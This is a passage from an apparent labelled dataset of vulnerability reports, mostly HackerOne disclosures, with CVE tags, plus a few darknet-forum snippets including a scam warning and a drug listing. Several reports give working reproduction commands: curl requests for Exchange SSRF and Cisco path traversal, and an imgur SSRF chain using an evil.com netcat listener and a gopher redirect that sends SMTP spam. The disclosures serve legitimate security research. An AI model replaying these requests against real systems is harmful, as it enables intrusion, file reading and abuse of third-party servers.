290,5-291,5-292,5-293,5-294,5-295,5-296,5-297,5-298,5-299,5-300,5-301,5-302,5-303,5-304,5-305,5-306,5-307,5-308,5-309,5-310,5-311,5-312,5-313,5-314,5-315,5-316,5-317,5-318,5-319,5-320,5-321,5-322,5-323,5-324,5-325,5-326,5-327,5-328,5-329,5-330,5-331,5-332,5-333,5-334,5-335,5-336,5-337,5-338,5-339,5-340,5-341,5-342,5-343,5-344,5-345,5-346,5-347,5-348,5-349,5-350,5-351,5-352,5-353,5-354,5-355,5-356,5-357,5-358,5-359,5-360,5-361,5-362,5-363,5-364,5-365,5-366,5-367,5-368,5-369,5-370,5-371,5-372,5-373,5-374,5-375,5-376,5-377,5-378,5-379,5-380,5-381,5-382,5-383,5-384,5-385,5-386,5-387,5-388,5-389,5-390,5-391,5-392,5-393,5-394,5-395,5-396,5-397,5-398,5-399,5-400,5-401,5-402,5-403,5-404,5-405,5-406,5-407,5-408,5-409,5-410,5-411,5-412,5-413,5-414,5-415,5-416,5-417,5-418,5-419,5-420,5-421,5-422,5-423,5-424,5-425,5-426,5-427,5-428,5-429,5-430,5-431,5-432,5-433,5-434,5-435,5-436,5-437,5-438,5-439,5-440,5-441,5-442,5-443,5-444,5-445,5-446,5-447,5-448,5-449,5-450,5-451,5-452,5-453,5-454,5-455,5-456,5-457,5-458,5-459,5-460,5-461,5-462,5-463,5-464,5-465,5-466,5-467,5-468,5-469,5-470,5-471,5-472,5-473,5-474,5-475,5-476,5-477,5-478,5-479,5-480,5-481,5-482,5-483,5-484,5-485,", "source": "hackerone", "timestamp": "2016-01-01", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "3f4f87c3a8eaaf2cda28", "text": "[Server-Side Request Forgery (SSRF)] SSRF due to CVE-2021-26855 on ████████\n\n**Description:**\nThere exists a Server Side Request Frogery (SSRF) on ***█████████*** due to ***CVE-2021-26855***\n\n## References\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26855\nhttps://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26855\n\n## Impact\n\nServer Side Request Frogery\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2021-26855\n\n## Steps to Reproduce\n```\ncurl -i -s -k -X $'GET' \\\n -H $'Host: ████' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.1; rv:86.0) Gecko/20100101 Firefox/86.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \\\n -b $'X-AnonResource=true; X-AnonResource-Backend=burpcollaborator.net/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3' \\\n $'https://███/owa/auth/x.js'\n```\n\nOutput:\n█████████\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2021-03-24", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "8d3973ed63c7791317f7", "text": "[Path Traversal] https://█████ is vulnerable to CVE-2020-3452 Read-Only Path Traversal Vulnerability\n\n**Summary:**\nhttps://████████ is vulnerable to a [Read-Only Path Traversal Vulnerability](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86)\n\n**Description:**\nGet request parameters at the `/+CSCOT+/translation-table` and the `/+CSCOT+/oem-customization` are not properly sanitized which allows for reading files within the webroot directory that are not intended to be readable.\n\n## Impact\nAn unauthenticated, remote attacker can read sensitive files located inside the webroot directory. \n\n## Step-by-step Reproduction Instructions\n### Using Browser\n1. Visit https://██████████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ in browser and note that you are prompted for a file download. This will be the source code for `portal_inc.lua` which is not normally accessible.\n2. To verify you cannot access this file normally, visit https://██████/+CSCOE+/portal_inc.lua and verify that you receive a page that says \"Wrong URL\".\n\n### Using Curl\n1. In a linux terminal, send the following `curl` command:\n\n```\ncurl -i -s -k -X $'GET' \\\n -H $'Host: ████████' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'DNT: 1' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \\\n $'https://████████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../'\n``` \n\nand\n\n```\ncurl -i -s -k -X $'GET' \\\n -H $'Host: ████' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'DNT: 1' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \\\n $'https://██████████/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua'\n```\nYou should receive the following output:\n\n```\nHTTP/1.1 200 OK\nContent-Type: application/octet-stream\nTransfer-Encoding: chunked\nCache-Control: no-cache\nPragma: no-cache\nConnection: Keep-Alive\nDate: Fri, 24 Jul 2020 04:27:46 GMT\nX-Frame-Options: SAMEORIGIN\nStrict-Transport-Security: max-age=31536000; includeSubDomains\n\n-- Copyright (C) 2006-2018 by Cisco Systems, Inc.\n-- Created by otrizna@cisco.com\n\ndofile(\"/+CSCOE+/include/common.lua\")\ndofile(\"/+CSCOE+/include/browser_inc.lua\")\n\nlocal function compare(a,b) return a[\"order\"]` in my case `http://██████.bizml.ru/dashboard/snapshot/██████`\n\n- Click on link Icon \n██████\n\n\n## Resources \n- https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html\n\n## Impact\n\nStored XSS", "source": "hackerone", "timestamp": "2021-10-11", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "7e8c4b3b001e0601a0f9", "text": "[Agora] [ADMIN] OpenSSL bug Tor/Agora vulnerability TBD\n\n\"Tails is still tracking Debian oldstable so it should not be affected by this bug.\" - torproject.orgclearnet: OpenSSL bug CVE-2014-0160https://blog.torproject.org/blog/openssl-bug-cve-2014-0160", "source": "gayanku", "timestamp": "2014-04-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d065606dea1d48c5e7dc", "text": "[Memory Corruption - Generic] CVE-2016-3183 OpenJPEG sycc422_to_rgb Out-of-Bounds Read Vulnerability\n\n# CVE-2016-3183 OpenJPEG sycc422_to_rgb Out-of-Bounds Read Vulnerability\n\n## 1. About OpenJPEG\nOpenJPEG is an open-source JPEG 2000 codec written in C language. It's widely used in lots of Linux OSes such as Ubuntu, RedHat, Debian, Fedora, and so on. The official repository of the OpenJPEG project is available at [GitHub](https://github.com/uclouvain/openjpeg).\n\n## 2. Credit\nThis vulnerability was discovered by Ke Liu of Tencent's Xuanwu LAB.\n\n## 3. Testing Environments\n+ **OS**: Ubuntu\n+ **OpenJPEG**: [0069a2b](https://github.com/uclouvain/openjpeg/archive/0069a2bd2f8055b7edf9699332f4f00ac5351564.zip) (Master version before Mar/14/2016)\n+ **Compiler**: Clang\n+ **CFLAGS**: ``-g -O0 -fsanitize=address``\n\n## 4. Reproduce Steps\nPlease copy file ``poc.j2k`` to directory ``openjpeg/bin`` before executing ``opj_decompress``.\n```\nwget https://github.com/uclouvain/openjpeg/archive/0069a2bd2f8055b7edf9699332f4f00ac5351564.zip\nunzip -q 0069a2bd2f8055b7edf9699332f4f00ac5351564.zip\nmv openjpeg-0069a2bd2f8055b7edf9699332f4f00ac5351564 openjpeg\ncd openjpeg\nexport CC='/usr/bin/clang -g -O0 -fsanitize=address'\ncmake .\nmake\n\ncd bin\n./opj_decompress -o image.pgm -i poc.j2k\n```\n\n## 5. Vulnerability Details\nAddressSanitizer output the following exception information.\n\n```\n==116421==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x633000018c00 \nat pc 0x000000529f98 bp 0x7ffe75bda580 sp 0x7ffe75bda578\nREAD of size 4 at 0x633000018c00 thread T0\n #0 0x529f97 in sycc422_to_rgb openjpeg/src/bin/common/color.c:148:33\n #1 0x527625 in color_sycc_to_rgb openjpeg/src/bin/common/color.c:286:3\n #2 0x4f1f5b in main openjpeg/src/bin/jp2/opj_decompress.c:1375:4\n #3 0x7f14c593182f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291\n #4 0x41a978 in _start (openjpeg/bin/opj_decompress+0x41a978)\n\n0x633000018c00 is located 0 bytes to the right of 99328-byte region [0x633000000800,0x633000018c00)\nallocated by thread T0 here:\n #0 0x4bac30 in calloc (openjpeg/bin/opj_decompress+0x4bac30)\n #1 0x7f14c722d764 in opj_calloc openjpeg/src/lib/openjp2/opj_malloc.c:203:10\n #2 0x7f14c71a0e7a in opj_j2k_update_image_data openjpeg/src/lib/openjp2/j2k.c:8212:62\n #3 0x7f14c71a0886 in opj_j2k_decode_tiles openjpeg/src/lib/openjp2/j2k.c:9752:23\n #4 0x7f14c71693fd in opj_j2k_exec openjpeg/src/lib/openjp2/j2k.c:7341:41\n #5 0x7f14c717c44e in opj_j2k_decode openjpeg/src/lib/openjp2/j2k.c:9943:15\n #6 0x7f14c71d4356 in opj_decode openjpeg/src/lib/openjp2/openjpeg.c:412:10\n #7 0x4f1627 in main openjpeg/src/bin/jp2/opj_decompress.c:1330:10\n #8 0x7f14c593182f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow openjpeg/src/bin/common/color.c:148:33 in sycc422_to_rgb\nShadow bytes around the buggy address:\n 0x0c667fffb130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x0c667fffb140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x0c667fffb150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x0c667fffb160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x0c667fffb170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x0c667fffb180:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c667fffb190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c667fffb1a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c667fffb1b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c667fffb1c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c667fffb1d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07 \n Heap left redzone: fa\n Heap right redzone: fb\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack partial redzone: f4\n Stack after return: f5\n Stack use after scope: f8\n Global re", "source": "hackerone", "timestamp": "2019-11-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "06a4090cb718ee16e94b", "text": "[Improper Access Control - Generic] [engineering.udemy.com] - Subdomain Takeover (ghost.io)\n\nHi Security Team,\n\nFound that DNS record of `engineering.udemy.com` domain was pointing to inactive ghost.io instance. So when we visit https://engineering.udemy.com we will be notified that site doesn't exist.\n\n{F310092}\n\n```\n$ host engineering.udemy.com\nengineering.udemy.com is an alias for udemy-engineering-blog.ghost.io.\nudemy-engineering-blog.ghost.io has address 141.101.114.35\nudemy-engineering-blog.ghost.io has address 141.101.115.35\nudemy-engineering-blog.ghost.io has address 190.93.244.35\nudemy-engineering-blog.ghost.io has address 190.93.245.35\nudemy-engineering-blog.ghost.io has address 190.93.246.35\n```\n\nSo I've registered PRO account for 20$/month on ghost.org and created publication with the name `udemy-engineering-blog`, as a next step I configured custom DNS record for my publication.\n\n{F310093}\n\nCNAME record was already configured, so I could successfully pass validation and even have valid SSL certificate and now can serve content on behalf of `engineering.udemy.com`\n\nhttps://engineering.udemy.com/\n\n{F310094}\n\n## Impact\n\nAttacker is able to serve any content on behalf of `engineering.udemy.com` domain", "source": "hackerone", "timestamp": "2018-06-27", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "f6776ca7f90b9bf352b1", "text": "[Memory Corruption - Generic] Adobe Flash Player ASnative(101,10) Memory Corruption Vulnerability\n\nI. Summary\nAdobe Flash Player is prone to a vulnerability which leads to Memory Corruption. \n------------------------------------------------------------------\nII. Description\nWhen ASnative(101,10) is called with a MovieClip object pointer, Flash Player is crashed due to an invalid EIP value. Carefully crafted swf file may allow the attacker to hijack the EIP, leading to shellcode execution in the context of affected application. \n\nLastest version of Adobe Flash Player 20.0.0.267 has been tested under Windows 7.\n------------------------------------------------------------------\nIII. Impact\nMemory Corruption\n------------------------------------------------------------------\nIV. Credit\nWen Guanxing from Venustech ADLAB is credited for this vulnerability.\n\nIt has been assigned as CVE-2016-0981 by Adobe.\nhttps://helpx.adobe.com/security/products/flash-player/apsb16-04.html", "source": "hackerone", "timestamp": "2019-11-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "caded6b27db887adf19b", "text": "[Violation of Secure Design Principles] hackers.upchieve.org and argocd.upchieve.org is not preloaded.\n\nPOC video : IMG_7790.MP4\n\nVulnerable URLs : https://hstspreload.org/?domain=argocd.upchieve.org and https://hstspreload.org/?domain=hackers.upchieve.org\n\n## Impact\n\nSecurity Misconfiguration", "source": "hackerone", "timestamp": "2021-07-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "51ba2284720137f4d297", "text": "[NULL Pointer Dereference] CVE-2017-10965: Null pointer dereference in Irssi <1.0.4\n\n34 days after reading https://irssi.org/2017/05/12/fuzzing-irssi/, I was finally able to trigger a null pointer dereference in irssi 1.0.2. \n\nTimeline:\nReport to vendor: 15 June 2017\nAcknowledge by vendor: 15 June 2017\nFixed by vendor: 7 July 2017\n\nAdvisory: \nhttp://seclists.org/oss-sec/2017/q3/80\n\nPatch:\nhttps://github.com/irssi/irssi/commit/5e26325317c72a04c1610ad952974e206\n\n```\n./irssi < test000\nCAP LS\nNICK root\nUSER root root /dev/stdin :root\nASAN:DEADLYSIGNAL\n=================================================================\n==23308==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f4505521e56 bp 0x7fff0bf30d90 sp 0x7fff0bf30518 T0)\n==23308==The signal is caused by a READ memory access.\n==23308==Hint: address points to the zero page.\n #0 0x7f4505521e55 in strlen /build/glibc-cxyGtm/glibc-2.24/string/../sysdeps/x86_64/strlen.S:76\n #1 0x4536dc in __interceptor_strlen.part.31 (/root/irssi-1.0.2/src/fe-text/irssi+0x4536dc)\n #2 0x6bf3c9 in my_asctime /root/irssi-1.0.2/src/core/misc.c:565:8\n #3 0x594d51 in event_topic_info /root/irssi-1.0.2/src/fe-common/irc/fe-events-numeric.c:275:19\n #4 0x6f499b in signal_emit_real /root/irssi-1.0.2/src/core/signals.c:242:3\n #5 0x6f4207 in signal_emit /root/irssi-1.0.2/src/core/signals.c:286:3\n #6 0x62cd3d in irc_server_event /root/irssi-1.0.2/src/irc/core/irc.c:308:7\n #7 0x6f499b in signal_emit_real /root/irssi-1.0.2/src/core/signals.c:242:3\n #8 0x6f59b6 in signal_emit_id /root/irssi-1.0.2/src/core/signals.c:304:3\n #9 0x62d33a in irc_parse_incoming_line /root/irssi-1.0.2/src/irc/core/irc.c:362:3\n #10 0x6f499b in signal_emit_real /root/irssi-1.0.2/src/core/signals.c:242:3\n #11 0x6f59b6 in signal_emit_id /root/irssi-1.0.2/src/core/signals.c:304:3\n #12 0x62d6ba in irc_parse_incoming /root/irssi-1.0.2/src/irc/core/irc.c:383:3\n #13 0x6bb9b2 in irssi_io_invoke /root/irssi-1.0.2/src/core/misc.c:55:3\n #14 0x7f4506cc6229 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4a229)\n #15 0x7f4506cc65df (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4a5df)\n #16 0x7f4506cc668b in g_main_context_iteration (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4a68b)\n #17 0x57e4a7 in main /root/irssi-1.0.2/src/fe-text/irssi.c:326:3\n #18 0x7f45054b53f0 in __libc_start_main /build/glibc-cxyGtm/glibc-2.24/csu/../csu/libc-start.c:291\n #19 0x42e979 in _start (/root/irssi-1.0.2/src/fe-text/irssi+0x42e979)\n\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: SEGV /build/glibc-cxyGtm/glibc-2.24/string/../sysdeps/x86_64/strlen.S:76 in strlen\n==23308==ABORTING\n```", "source": "hackerone", "timestamp": "2019-10-04", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "61e8232a1ef578087d5d", "text": "[Unknown] \"Bounty splitting enabled\" can discloses if public VDPs are running private VRP\n\nHello Everyone,\n\nI hope all is safe and you're safe in this pandemic,\nand I hope this won't bother you like my previous submitions lol ,\n\n\n## _Description_ :\nThe **\"allows_private_disclosure\"** resource in team for private team that have a public profile is shown there which discloses that this program have a private VRP if they're enabling \"Bounty Splitting\" to their private bug bounty program,\nI'm not 100% sure cause I accidently found that ████████ shows that they're enabling bounty splitting but they runs a VDPs and that made me think that they're running a private VRP with that ,\n████\n\n_______________________________________________________________________________________________________________________\n_______________________________________________________________________________________________________________________\n\n## _Steps To Reproduce:_\n\n1. Go to █████████\n2. You'll notice that they have bounty splitting option enabled though they're running a VDP\n3. This refers that they runs a private VRP with that option enabled\n\n███\n\n\n**NOTE** : As said in the description I'm not totally sure if this a mistake or an actual bug cause I don't have the ability to try it on my own,\nif it's just a mistake giving me the free to self-close this report will be too much apperciatable :)\n\n_______________________________________________________________________________________________________________________\n_______________________________________________________________________________________________________________________\n\n## Impact\n\nAbility to know that a team runs an invite only VRP if they're enabling bounty splitting option,\n\n\nThanks for taking your valuable time to read and validate this report,\nAll the best,", "source": "hackerone", "timestamp": "2021-03-18", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "513474637810f196d79c", "text": "[Double Free] Linux kernel: CVE-2017-6074: DCCP double-free vulnerability\n\nHi!\n\nCVE-2017-6074 [1] is a double-free vulnerability I found in the Linux kernel. It can be exploited to gain\nkernel code execution from an unprivileged processes. The kernel needs to be built with CONFIG_IP_DCCP for the vulnerability to be present. A lot of modern distributions enable this option by default.\n\nFixed on Feb 17, 2017 [2]. The oldest version that I checked is 2.6.18 (Sep 2006), which is vulnerable. However, the bug was introduced before that, probably in the first release with DCCP support (2.6.14, Oct 2005).\n\nI initially reported this vulnerability to security@kernel.org following the coordinated disclosure process. The timeline and more details about the vulnerability can be found in my announcement on oss-security [3]. A proof-of-concept exploit for the 4.4.0-62-generic #83-Ubuntu kernel can be found here [4, 5].\n\nThe reason I'm reporting this now is that I just saw a similar bug [6] in the Windows kernel reported to this program and that reminded me of a Sandbox Escape program that used to be on HackerOne. I thought it makes sense to see if IBB would come back to considering this kind of bugs eligible for a bounty.\n\nThanks!\n\n[1] https://nvd.nist.gov/vuln/detail/CVE-2017-6074\n\n[2] https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=5edabca9d4cff7f1f2b68f0bac55ef99d9798ba4\n\n[3] http://seclists.org/oss-sec/2017/q1/471\n\n[4] https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074\n\n[5] http://seclists.org/oss-sec/2017/q1/503\n\n[6] https://hackerone.com/reports/48100\n\n## Impact\n\nThis vulnerability allows a local attacker to elevate privileges to root on a machine with vulnerable Linux kernel version.", "source": "hackerone", "timestamp": "2019-08-27", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "a746a528a48b7276e054", "text": "Squirrelcart v3.5.4 (table) Remote Cross-Site Scripting Vulnerability\n\nSeverity: low", "source": "zeroscience", "timestamp": "2013-02-19", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "9945c56fd43b8ae7c196", "text": "J. River Media Jukebox 12 MP3 File Handling Remote Heap Overflow PoC\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2010-03-04", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "776b5c9a5b06a33d9dbb", "text": "[Server-Side Request Forgery (SSRF)] Inappropriate URL parsing may cause security risk!\n\n## Description\n-----\nThe behaviors in parse_url and http_wrap/cURL are different\n　\n\n## Original bug report\n-----\n- https://bugs.php.net/bug.php?id=74192\n\n　\n## Note\n-----\n- CVE-2017-7189 assigned\n\n\n　\nThanks :)\n\n## Impact\n\nSSRF", "source": "hackerone", "timestamp": "2019-11-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "c8de73809dc57dba0cc5", "text": "[Uncontrolled Resource Consumption] SSRF in https://imgur.com/vidgif/url\n\nHello,\n\nShort description\n========\n\nhttps://imgur.com/vidgif/url endpoint is vulnerable to a SSRF vulnerability which allows an attacker to craft connections originating from imgur servers to any destination on the internet and imgur internal network and craft outgoing UDP-packets / telnet-based protocol sessions (for example, to connect to SMTP servers from imgur and send spam).\n\nWhy does the vulnerability exist?\n========\n\nimgur allows users to use 'video-to-gif' service. When a user requests conversion of such a video, imgur's servers perform an HTTP request to a user-supplied URL in order to discover the URL-s content-type and length. It is evident that in order to do so imgur utilizes libcurl. However, imgur does not properly validate user input and does not configure libcurl properly which allows an attacker to use various libcurl protocol wrappers other than http(s). For example, an attacker can supply ftp://test.com/file as an URL and imgur will make such a FTP request.\n\nWhat are the exploitable protocols?\n========\nApparently, imgur performs connections over the following protocols:\n* SSH (scp://, sftp://)\n* POP3\n* IMAP\n* SMTP\n* FTP\n* DICT\n* GOPHER\n* TFTP\n\nSeveral leak information about imgur infrastracture (SSH, DICT), other allow more serious exploits (TFTP, DICT, GOPHER).\n\nWhat are the exploits?\n=========\nSimple exploit: information disclosure (and basic PoC of SSRF)\n----------------\nimgur leaks information about installed software versions via SSH and DICT protocols. An attacker may setup a 'netcat' server and force imgur servers to connect to it and leak version information via a connection string, for example:\n\nRequest: https://imgur.com/vidgif/url?url=sftp://evil.com:11111/\n\n```\nevil.com:$ nc -v -l 11111\nConnection from [54.227.37.234] port 11111 [tcp/*] accepted (family 2, sport 36136)\nSSH-2.0-libssh2_1.4.2\n```\n\nRequest: https://imgur.com/vidgif/url?url=sftp://evil.com:11111/\n\n```\nevil.com:$ nc -v -l 11111\nListening on [0.0.0.0] (family 0, port 11111)\nConnection from [54.166.236.232] port 11111 [tcp/*] accepted (family 2, sport 35789)\nCLIENT libcurl 7.40.0\n\nQUIT\n```\n\nThis way an attacker can discover imgur software versions: libssh2 1.4.2 (probably vulnerable to CVE-2015-1782) and libcurl 7.40.0 (probably vulnerable to CVE-2015-3144, CVE-2015-3237). All there are probable RCEs.\n\nCrafted SMTP connection exploit\n-------------\nCurl's GOPHER protocol implementation allows usage of newlines which allows us to craft any kinds of TELNET chat-sessions and thus craft any kind of TELNET-based protocols request. In this example we will craft a SMTP request to mail.ru.\n\nUnfortunately imgur filters GET['url'] and does not allow us to include newlines in the request, however, imgur's libcurl follows redirects which allows us to send a correct GOPHER payload via HTTP 302.\n\nLet's start with a TELNET chat session example, let's craft a malicious php page:\n\nhttp://evil.com/imgur/gopher1.php\n\n```\n\n```\n\n```\nevil.com:# nc -v -l 12346\nListening on [0.0.0.0] (family 0, port 12346)\nConnection from [54.227.37.234] port 12346 [tcp/*] accepted (family 2, sport 49398)\nHI\nMultiline\ntest\n```\n\nSo, we can send arbitrary telnet commands and can try to perform an **actual SMTP session and send SPAM from Imgur IPs**\n\nTo demonstrate we will use test.smtp.org testing server.\n\nLet's craft a malicious php page (this one is a working example so I use a real server):\n\nhttp://gradeco.ru/imgur/gopher2.php\n\n```\n',\n 'RCPT TO: ',\n 'DATA',\n 'Test mail',\n '.'\n );\n\n $payload = implode('%0A', $commands);\n\n header('Location: gopher://test.smtp.org:25/_'.$payload);\n?>\n```\n\nThis code concats our SMTP command into one line delimited by %0A and forces imgur server to send a 'GOPHER' request ", "source": "hackerone", "timestamp": "2016-03-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "220a9c34c878d2672e51", "text": "WampServer 2.0i (index.php) Remote Cross Site Scripting Vulnerability\n\nSeverity: low", "source": "zeroscience", "timestamp": "2010-02-22", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "4bc926aa5a932277fbcf", "text": "Balero CMS v0.7.2 Multiple JS/HTML Injection Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2015-04-07", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "9a397769e7677bf65021", "text": "[Violation of Secure Design Principles] GraphQL sessions aren't immediately invalidated when user password is changed\n\n**Summary:**\n\nWhile changing password, once user clicks on \"Change password\" button after giving necessary values, on https://hackerone.com/settings/pass/edit, the session expires and the user is redirected to https://hackerone.com/users/sign_in for logging in again with the updated/changed password. A graphql mutation is used to change password. But, it is observed that the user can still change password with same graphql token and same session id, used in previous graphql request **even after signing out**. Inshort graphql token nor host session expires. \n \n**Description:**\n\nSorry if I categorized this into wrong weakness category. Also apologize for the complicated title.\n\nWhen clicking on \"change password\" after supplying values for current password, password and confirm password, user is directed to sign_in page to log in again with changed password. \n\nThe password change takes place through graphql mutation request that contains graphql token and session id. \n\nIt was observed that after capturing the above request with the help of a web debugging tool (charles proxy), the above request could be replayed with same graphql token **x-auth-token** and host session **__Host-session**, with appropriate password values after sign out and the password is changed.\n\nInshort **A user can change password even after he/she is signed out or session expires, without having to login again, with the help of previously captured graphql request.**\n\n**Impact**\n\nAn attacker could simply change the password again by capturing previous request. As the change can be done even after sign out or expired session, it is more severe.\n\n**Remedy**\n\nMust enforce graphql token expiration. Also check for host_sesssion cookie value.\n\n### Steps To Reproduce\n\n1. Login to the account and navigate to https://hackerone.com/settings/pass/edit to change password.\n2. Input necessary values and click \"Change password\" button. Capture the request using a proxy.\n (User is now logged out and redirected to sign_in page)\n3. Repeat the previous \"graphql mutation\" request using proxy with changed password. Password is\n changed again without having to login.", "source": "hackerone", "timestamp": "2017-11-30", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "d51fc982ca195dee9ce9", "text": "[Evolution] PMs about Heartbleed Vulnerability and Tor from Evolution account\n\nThere appear to be scamm messages being sent to vendors (at least) on various markets like this one I got two copies of here:          ************************************************************************************************************      ************Warning SCAM links probably included here! Caution, do not click these links*****************            **********************************************************************************************************      ***********  Quote  ******************* Evolution Announcement 2014-04-12On April 7th 2014 details of a serious bug in the OpenSSL library were made public. This bug, which affected a large number of web servers and devices was popularly referred to as 'Heartbleed'. The bug allows anybody connecting to a vulnerable service to reveal the contents of memory on the server - and thus reveal secret keys, user information, ip addresses, passwords, etc.There is more information about the bug and the versions of OpenSSL that are affected at the website setup for the bug:http://heartbleed.com/Evolution is a hidden service served on the Tor network, and while we are not using the vulnerable library that is affected, the Tor software (Browser) that you use to access our site is affected by this bug since it integrates the OpenSSL library. The Tor project wrote a blog post about how this bug affects various aspects of the Tor service:https://blog.torproject.org/blog/openssl-bug-cve-2014-0160For users of the Tor Browser Bundle you should immediately upgrade to the latest release version immediately, as the bundled version of Tor is vulnerable to the attack.Get the latest Tor Browser Bundle version fromhttp://sourceforge.net/projects/tor-browser/files/latest/We are doing our very best to protect our security as well as yours but you also must put in efforts to protect yourself.-Evolution ********************************  end Quote  *******************************************8", "source": "gayanku", "timestamp": "2014-04-13", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "335ba7e9565cbc45c8cf", "text": "phpThumb() v1.7.11 (dir & title) Cross-Site Scripting Vulnerability\n\nSeverity: low", "source": "zeroscience", "timestamp": "2012-05-16", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "4688dcdc390f9e93c904", "text": "[Reddit Darknet Markets] Hectorstuf inquiry (30x 80mg Oxycodones for $117)\n\nI'm sure that can be faked", "source": "gayanku", "timestamp": "2016-11-24", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "3ef76aa973ae1371c39d", "text": "Zenario CMS 7.0.7c Remote Code Execution Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2015-11-17", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "80100d2bdcd4dbcfd529", "text": "Omeka 2.2 CSRF And Stored XSS Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2014-07-17", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "42350f267bc12705945e", "text": "Ametys CMS 3.5.2 (lang parameter) XPath Injection Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2013-11-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "3b856194da7a6e42a4f8", "text": "Orthanc DICOM Server 1.1.0 Remote Memory Corruption Vulnerability\n\nSeverity: high", "source": "zeroscience", "timestamp": "2016-12-16", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "1c88767e5bcb317ef149", "text": "ImpressPages CMS v3.6 manage() Function Remote Code Execution Exploit\n\nSeverity: high", "source": "zeroscience", "timestamp": "2013-11-01", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "84ea6bc0e704ca93486d", "text": "[Cryptographic Issues - Generic] CVE-2014-0224 openssl ccs vulnerability\n\nyour site is 